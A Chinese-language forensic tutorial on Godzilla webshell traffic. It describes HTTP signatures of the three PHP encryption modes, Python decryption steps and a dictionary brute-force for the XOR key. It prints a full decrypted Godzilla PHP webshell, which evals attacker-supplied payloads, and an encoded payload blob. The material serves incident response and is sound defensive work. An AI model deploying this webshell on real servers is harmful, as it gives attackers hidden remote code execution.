哥斯拉流量PHP3种加密方式讲解及PHP_XOR_BASE64爆破密钥思路
字数 1164 2025-08-22 12:23:06

哥斯拉流量PHP加密方式详解及密钥爆破技术

一、哥斯拉流量识别特征

1. 流量行为特征

  • 先上传小马,后上传大马
  • 请求头无Cookie,响应头出现Set-Cookie
  • 后续请求包特征:
    • Cookie尾部有分号(强特征)
    • 请求体前后有16位固定数字
    • Accept字段为:Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8(弱特征,可修改)
    • 响应体Cache-Control: no-store, no-cache, must-revalidate(弱特征)

二、PHP加密方式识别与解密

1. PHP_XOR_BASE64

识别特征

  • 请求体参数值为密文
  • 响应体第二行的前和尾部是16个十六进制字符

解密方法

  1. 需要知道密码和密钥
  2. 密钥生成方式:某明文进行MD5加密后取前16个字符
  3. 推荐工具:Decode_Tools_v1.0-1.0-SNAPSHOT.jar

2. PHP_EVAL_XOR_BASE64

识别特征

  • 请求体参数值为明文
  • 响应体前和尾部是16个十六进制字符

解密方法

  1. 对请求体参数值进行:
    • URL解码
    • 字符串反转
    • Base64解码
  2. 示例Python代码:
import base64
import urllib.parse

encoded_string = 'K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7ciMmVDMjVDZ4AjMxYzNiNzNn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7ciclt2YhhGaoh2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'

url_decoded = urllib.parse.unquote(encoded_string)
reversed_string = url_decoded[::-1]
base64_decoded = base64.b64decode(reversed_string)

try:
    decoded_command = base64_decoded.decode('utf-8')
    print("解码后的命令:", decoded_command)
except UnicodeDecodeError as e:
    print("解码失败,可能是非 UTF-8 编码:", e)

3. PHP_XOR_RAW

识别特征

  • 请求体为原始数据
  • 请求体出现Cookie有分号
  • Cache-Control: no-store, no-cache, must-revalidate
  • Content-Length: 0

解密后示例

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
        eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

三、PHP_XOR_BASE64密钥爆破技术

1. 爆破前提条件

  • 已知密码
  • 已知响应体返回的前16位是固定的

2. 爆破思路

  1. 通过字典爆破可能的密钥明文
  2. 对每个候选明文:
    • 计算MD5并取前16位作为候选密钥
    • 使用密码和候选密钥尝试解密
  3. 当解密结果中出现特定字符串(如e71f50e9773b23f9)时,说明找到了正确的密钥明文

3. 示例爆破代码

import hashlib

def read(path):
    with open(path, 'r') as file:
        ap = [line.strip() for line in file if line.strip()]
    return ap

def encode(D, K):
    encoded = list(D)
    for i in range(len(D)):
        c = K[(i + 1) & 15]
        encoded[i] = chr(ord(D[i]) ^ ord(c))
    return ''.join(encoded)

def main():
    passphrase = 'Antsword'
    ap = read('./a.txt')
    
    for p in ap:
        ff = hashlib.md5((passphrase + hashlib.md5(p.encode()).hexdigest()[:16]).encode()).hexdigest()[:16]
        if ff == "e71f50e9773b23f9":
            print(p)
            print(hashlib.md5(p.encode()).hexdigest()[:16])

if __name__ == "__main__":
    main()

4. 爆破成功结果

  • 密钥明文:Antsw0rd
  • 密钥生成方式:hashlib.md5("Antsw0rd".encode()).hexdigest()[:16]
  • 实际密钥:a18551e65c48f51e

四、总结

  1. 哥斯拉流量有三种PHP加密方式,各有不同的识别特征

  2. PHP_EVAL_XOR_BASE64可直接解密获取密码和密钥

  3. PHP_XOR_BASE64在已知密码情况下可通过爆破获取密钥

  4. 爆破关键点:

    • 需要准备合适的字典文件
    • 依赖响应体固定特征作为验证条件
    • 注意密钥是明文的MD5前16位
  5. 实际应用中,建议结合流量特征和加密方式特点进行针对性分析,优先尝试已知密码的爆破方法。

哥斯拉流量PHP加密方式详解及密钥爆破技术 一、哥斯拉流量识别特征 1. 流量行为特征 先上传小马,后上传大马 请求头无Cookie,响应头出现Set-Cookie 后续请求包特征: Cookie尾部有分号(强特征) 请求体前后有16位固定数字 Accept字段为: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 (弱特征,可修改) 响应体 Cache-Control: no-store, no-cache, must-revalidate (弱特征) 二、PHP加密方式识别与解密 1. PHP_ XOR_ BASE64 识别特征 : 请求体参数值为密文 响应体第二行的前和尾部是16个十六进制字符 解密方法 : 需要知道密码和密钥 密钥生成方式:某明文进行MD5加密后取前16个字符 推荐工具:Decode_ Tools_ v1.0-1.0-SNAPSHOT.jar 2. PHP_ EVAL_ XOR_ BASE64 识别特征 : 请求体参数值为明文 响应体前和尾部是16个十六进制字符 解密方法 : 对请求体参数值进行: URL解码 字符串反转 Base64解码 示例Python代码: 3. PHP_ XOR_ RAW 识别特征 : 请求体为原始数据 请求体出现Cookie有分号 Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 解密后示例 : 三、PHP_ XOR_ BASE64密钥爆破技术 1. 爆破前提条件 已知密码 已知响应体返回的前16位是固定的 2. 爆破思路 通过字典爆破可能的密钥明文 对每个候选明文: 计算MD5并取前16位作为候选密钥 使用密码和候选密钥尝试解密 当解密结果中出现特定字符串(如 e71f50e9773b23f9 )时,说明找到了正确的密钥明文 3. 示例爆破代码 4. 爆破成功结果 密钥明文: Antsw0rd 密钥生成方式: hashlib.md5("Antsw0rd".encode()).hexdigest()[:16] 实际密钥: a18551e65c48f51e 四、总结 哥斯拉流量有三种PHP加密方式,各有不同的识别特征 PHP_ EVAL_ XOR_ BASE64可直接解密获取密码和密钥 PHP_ XOR_ BASE64在已知密码情况下可通过爆破获取密钥 爆破关键点: 需要准备合适的字典文件 依赖响应体固定特征作为验证条件 注意密钥是明文的MD5前16位 实际应用中,建议结合流量特征和加密方式特点进行针对性分析,优先尝试已知密码的爆破方法。